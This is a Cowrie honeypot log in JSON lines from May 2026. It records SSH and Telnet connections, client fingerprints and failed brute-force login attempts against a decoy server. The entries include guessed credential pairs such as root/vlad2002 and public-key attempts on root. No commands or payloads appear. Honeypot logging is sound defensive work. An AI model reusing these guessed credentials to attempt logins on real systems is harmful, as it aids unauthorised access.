{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:36.248325Z","src_ip":"79.127.181.44","session":"08923b57fada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:36.451040Z","src_ip":"79.127.181.44","session":"08923b57fada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:36.456493Z","src_ip":"79.127.181.44","session":"08923b57fada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":37794,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3d9ddc3925a","protocol":"ssh","message":"New connection: 43.133.62.188:37794 (159.203.135.109:22) [session: a3d9ddc3925a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:39.722209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:39.727194Z","src_ip":"43.133.62.188","session":"a3d9ddc3925a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:39.965706Z","src_ip":"43.133.62.188","session":"a3d9ddc3925a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.244606494903564,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:40.759716Z","src_ip":"152.42.224.71","session":"82092839b179","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1","message":"login attempt [amir/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:40.949949Z","src_ip":"43.133.62.188","session":"a3d9ddc3925a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56818,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fce5511dc92","protocol":"telnet","message":"New connection: 152.42.224.71:56818 (10.17.0.5:23) [session: 9fce5511dc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:41.707184Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":53232,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b944125423d","protocol":"telnet","message":"New connection: 209.127.178.212:53232 (159.203.135.109:23) [session: 3b944125423d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:41.783380Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:42.190834Z","src_ip":"43.133.62.188","session":"a3d9ddc3925a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.602824926376343,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:54.200589Z","src_ip":"152.42.224.71","session":"d377b39ad0e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.01935076713562,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:55.442467Z","src_ip":"152.42.224.71","session":"6dd558d7474c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.91.1","src_port":49632,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3257721365d","protocol":"ssh","message":"New connection: 74.208.91.1:49632 (10.17.0.5:22) [session: f3257721365d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.272536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.277473Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.320965Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:d1:60:bc:f3:f4:89:ef:6e:6a:63:61:d0:17:65:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6NmD6TX4Y8fB1g4Db590hLuGDKpjl4a9k/MAWHHr1n6bN18bry/mulQHhAV33fZ6sWJp6XHYTRWKk5VVN9Dn72Ba0Tm9D8Yvg9lHJ7Puh7xEkUUVc1i0yfAhqSoYiw5PyHgr1R2LWpqbrTo37BQ8z3rkxl1QBR8N+Btdjlr8ZKzI0Qo1VWF3m8zk/y7BH2HURgCQHPJNE1bejVVyakFlcNpW4qVTNoi7JuBhcIy2T8G8/6iw+RxMhgbwb1JuIgiKMiN+c8LmNAlu5uvZXjtKdYxJ5mhQX/COrZxU5cpa7P7jREsPINhrqzIVAB65s9DkN5VRyPiqwvdN2jaQDKTjj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:d1:60:bc:f3:f4:89:ef:6e:6a:63:61:d0:17:65:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.547024Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:d1:60:bc:f3:f4:89:ef:6e:6a:63:61:d0:17:65:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6NmD6TX4Y8fB1g4Db590hLuGDKpjl4a9k/MAWHHr1n6bN18bry/mulQHhAV33fZ6sWJp6XHYTRWKk5VVN9Dn72Ba0Tm9D8Yvg9lHJ7Puh7xEkUUVc1i0yfAhqSoYiw5PyHgr1R2LWpqbrTo37BQ8z3rkxl1QBR8N+Btdjlr8ZKzI0Qo1VWF3m8zk/y7BH2HURgCQHPJNE1bejVVyakFlcNpW4qVTNoi7JuBhcIy2T8G8/6iw+RxMhgbwb1JuIgiKMiN+c8LmNAlu5uvZXjtKdYxJ5mhQX/COrZxU5cpa7P7jREsPINhrqzIVAB65s9DkN5VRyPiqwvdN2jaQDKTjj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.552140Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:97:9c:21:70:95:04:4e:34:67:9c:47:e5:cc:19:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOWoJ8M4FsRlRNpmcQZWwX0riLCKANFaB9eBHHdqg6xT58Zmr/B4xCMe9dwwhkrQ8niUIJJqYu0K5SYTPw3hkK26htUgMB3UhUA54y0seHjomsCZiJiKWXtLewrXQ6BPaiBQvLBkN8BlYCjABdXiVMVs28gpfqAlBAKS/1Op1ogM23tgqzqqPngSL1i9kpy5XSy/2D5aXc4Qd9aDMgJOYla92+XPT4trxBPzPwpAXahAlv5r0Tegnn40qXGma26GQ0/iBckW64vwT94oiVzIfejQfMcxQWT6y680rl0Dh3FPa2B9TiUqJTwunXxwa0ckCg9JH10ztCXK2ZA+jDijkV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:97:9c:21:70:95:04:4e:34:67:9c:47:e5:cc:19:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.602522Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:97:9c:21:70:95:04:4e:34:67:9c:47:e5:cc:19:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOWoJ8M4FsRlRNpmcQZWwX0riLCKANFaB9eBHHdqg6xT58Zmr/B4xCMe9dwwhkrQ8niUIJJqYu0K5SYTPw3hkK26htUgMB3UhUA54y0seHjomsCZiJiKWXtLewrXQ6BPaiBQvLBkN8BlYCjABdXiVMVs28gpfqAlBAKS/1Op1ogM23tgqzqqPngSL1i9kpy5XSy/2D5aXc4Qd9aDMgJOYla92+XPT4trxBPzPwpAXahAlv5r0Tegnn40qXGma26GQ0/iBckW64vwT94oiVzIfejQfMcxQWT6y680rl0Dh3FPa2B9TiUqJTwunXxwa0ckCg9JH10ztCXK2ZA+jDijkV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.607098Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:2f:ae:2a:b5:f0:5e:55:2f:71:07:e3:87:44:66:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG+s1fD0jUlEZArZx0mbblmXi8iEYJ/V7/H0jV0i86oqeHx8ds7hMaRhAHAgAgnyfeNYJdF/sOxBLkvQ71dlLEEUYyi+2G2GoAXpKZk5vzBOEwjkLtNEmkBVcRk5GgdJqmWr9wrGawCzG4a6CKS/mRFuoGDAzaum2dPGFAgybQhBklZJuo/mhU0kHW3EqzP4B/pCY4GHC3FVC7m0s3NpSbbxGbF8uAplwwqFF9qqElaMU9L8Goz43tgq3w2S0GqR1LQNYxp3q/bhGc1v4Bfbbt7/+AcIrkOQSkBSsjn+3WKIe4VB8mPuQYjiU+MAfNalbtDH7QvTH0vgMyJmb5LUxl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:2f:ae:2a:b5:f0:5e:55:2f:71:07:e3:87:44:66:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.652375Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:2f:ae:2a:b5:f0:5e:55:2f:71:07:e3:87:44:66:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG+s1fD0jUlEZArZx0mbblmXi8iEYJ/V7/H0jV0i86oqeHx8ds7hMaRhAHAgAgnyfeNYJdF/sOxBLkvQ71dlLEEUYyi+2G2GoAXpKZk5vzBOEwjkLtNEmkBVcRk5GgdJqmWr9wrGawCzG4a6CKS/mRFuoGDAzaum2dPGFAgybQhBklZJuo/mhU0kHW3EqzP4B/pCY4GHC3FVC7m0s3NpSbbxGbF8uAplwwqFF9qqElaMU9L8Goz43tgq3w2S0GqR1LQNYxp3q/bhGc1v4Bfbbt7/+AcIrkOQSkBSsjn+3WKIe4VB8mPuQYjiU+MAfNalbtDH7QvTH0vgMyJmb5LUxl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.656690Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:36:d7:8f:b2:87:3e:36:18:0d:b1:6c:5a:50:42:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyHv59AGZCTtZ1SRxdWKbHVWDakrUy3PXb6MCMIbOFJUwS+vR/lfmVJGPJnF4BJxeq39o7zpuSfzt4BvQEV/vj4d/MvZFxDCJ+6Bjp8EHBa/PMmiy+KquXdWWQsLOpv9bCHc/O9L/L6wDNLicyCU7iIYYAplFcietwzY+Fm7dIZm3/oYj/EWjOlrMc1z1GYgkrw9BePVDsyEG0bmPUyjX9QRZ7nHKLu+mqBMXBhzCXjbuMBp9Ag3HsCokQA7b53XM4cH8ocSxUApr4C7bko0HfdIxULqWyetmY0ngAx8j/1W7yYYaxsiCbXXwoe+JPYvCZ32AJWu9g6uPoFUXzkHo5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:36:d7:8f:b2:87:3e:36:18:0d:b1:6c:5a:50:42:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.701056Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:36:d7:8f:b2:87:3e:36:18:0d:b1:6c:5a:50:42:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyHv59AGZCTtZ1SRxdWKbHVWDakrUy3PXb6MCMIbOFJUwS+vR/lfmVJGPJnF4BJxeq39o7zpuSfzt4BvQEV/vj4d/MvZFxDCJ+6Bjp8EHBa/PMmiy+KquXdWWQsLOpv9bCHc/O9L/L6wDNLicyCU7iIYYAplFcietwzY+Fm7dIZm3/oYj/EWjOlrMc1z1GYgkrw9BePVDsyEG0bmPUyjX9QRZ7nHKLu+mqBMXBhzCXjbuMBp9Ag3HsCokQA7b53XM4cH8ocSxUApr4C7bko0HfdIxULqWyetmY0ngAx8j/1W7yYYaxsiCbXXwoe+JPYvCZ32AJWu9g6uPoFUXzkHo5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.705739Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:2e:10:f5:d5:3a:76:9a:64:68:3a:18:09:25:0b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqAh0EPC+onLkNuuHtiwEXNi6MNtONTvhFVUbkRZH/zESaE9SwTHMmLIgXGY/SwGxfJh6BzByj8ZIZXJk74PUnhcXRFKuvlcoW97MJ8JMG6F7MAijI2nCsuzLw7KMNOwKiVWRmDtUyRKoqgHLL3bX8/9hKOogj8+pt83dxHe9xiJb2j92aTOvHyl4lWLNGe1+noaf6ZjPd8+84IvMhNboZn7d5N1uUELlCL8wBvx8A9Pf0pij3xtabIPgj29Vf5Lcfaad/NBRGQErIzN3k+GPWUTzo027u5A+P6YJ8yC7jFpo7NFDXil/OUkjBekR9RfgIV6t+qHhxxu8rr5tAWfYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:2e:10:f5:d5:3a:76:9a:64:68:3a:18:09:25:0b:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.751869Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:2e:10:f5:d5:3a:76:9a:64:68:3a:18:09:25:0b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqAh0EPC+onLkNuuHtiwEXNi6MNtONTvhFVUbkRZH/zESaE9SwTHMmLIgXGY/SwGxfJh6BzByj8ZIZXJk74PUnhcXRFKuvlcoW97MJ8JMG6F7MAijI2nCsuzLw7KMNOwKiVWRmDtUyRKoqgHLL3bX8/9hKOogj8+pt83dxHe9xiJb2j92aTOvHyl4lWLNGe1+noaf6ZjPd8+84IvMhNboZn7d5N1uUELlCL8wBvx8A9Pf0pij3xtabIPgj29Vf5Lcfaad/NBRGQErIzN3k+GPWUTzo027u5A+P6YJ8yC7jFpo7NFDXil/OUkjBekR9RfgIV6t+qHhxxu8rr5tAWfYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.755948Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:57.818752Z","src_ip":"74.208.91.1","session":"f3257721365d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":53892,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3eea9d3640","protocol":"telnet","message":"New connection: 209.127.178.212:53892 (159.203.135.109:23) [session: 5e3eea9d3640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:58.425142Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":37154,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc6eab4feb0","protocol":"ssh","message":"New connection: 43.156.28.136:37154 (159.203.135.109:22) [session: 3dc6eab4feb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:59.333433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:59.338813Z","src_ip":"43.156.28.136","session":"3dc6eab4feb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:53:59.569051Z","src_ip":"43.156.28.136","session":"3dc6eab4feb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35206,"dst_ip":"159.203.135.109","dst_port":22,"session":"206a7c0e5b25","protocol":"ssh","message":"New connection: 103.195.236.96:35206 (159.203.135.109:22) [session: 206a7c0e5b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:00.119534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:00.126748Z","src_ip":"103.195.236.96","session":"206a7c0e5b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:00.383115Z","src_ip":"103.195.236.96","session":"206a7c0e5b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1","message":"login attempt [amir/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:00.524090Z","src_ip":"43.156.28.136","session":"3dc6eab4feb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2002","message":"login attempt [root/vlad2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:01.117029Z","src_ip":"103.195.236.96","session":"206a7c0e5b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:01.758109Z","src_ip":"43.156.28.136","session":"3dc6eab4feb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:54:02.384228Z","src_ip":"103.195.236.96","session":"206a7c0e5b25","protocol":"ssh"}
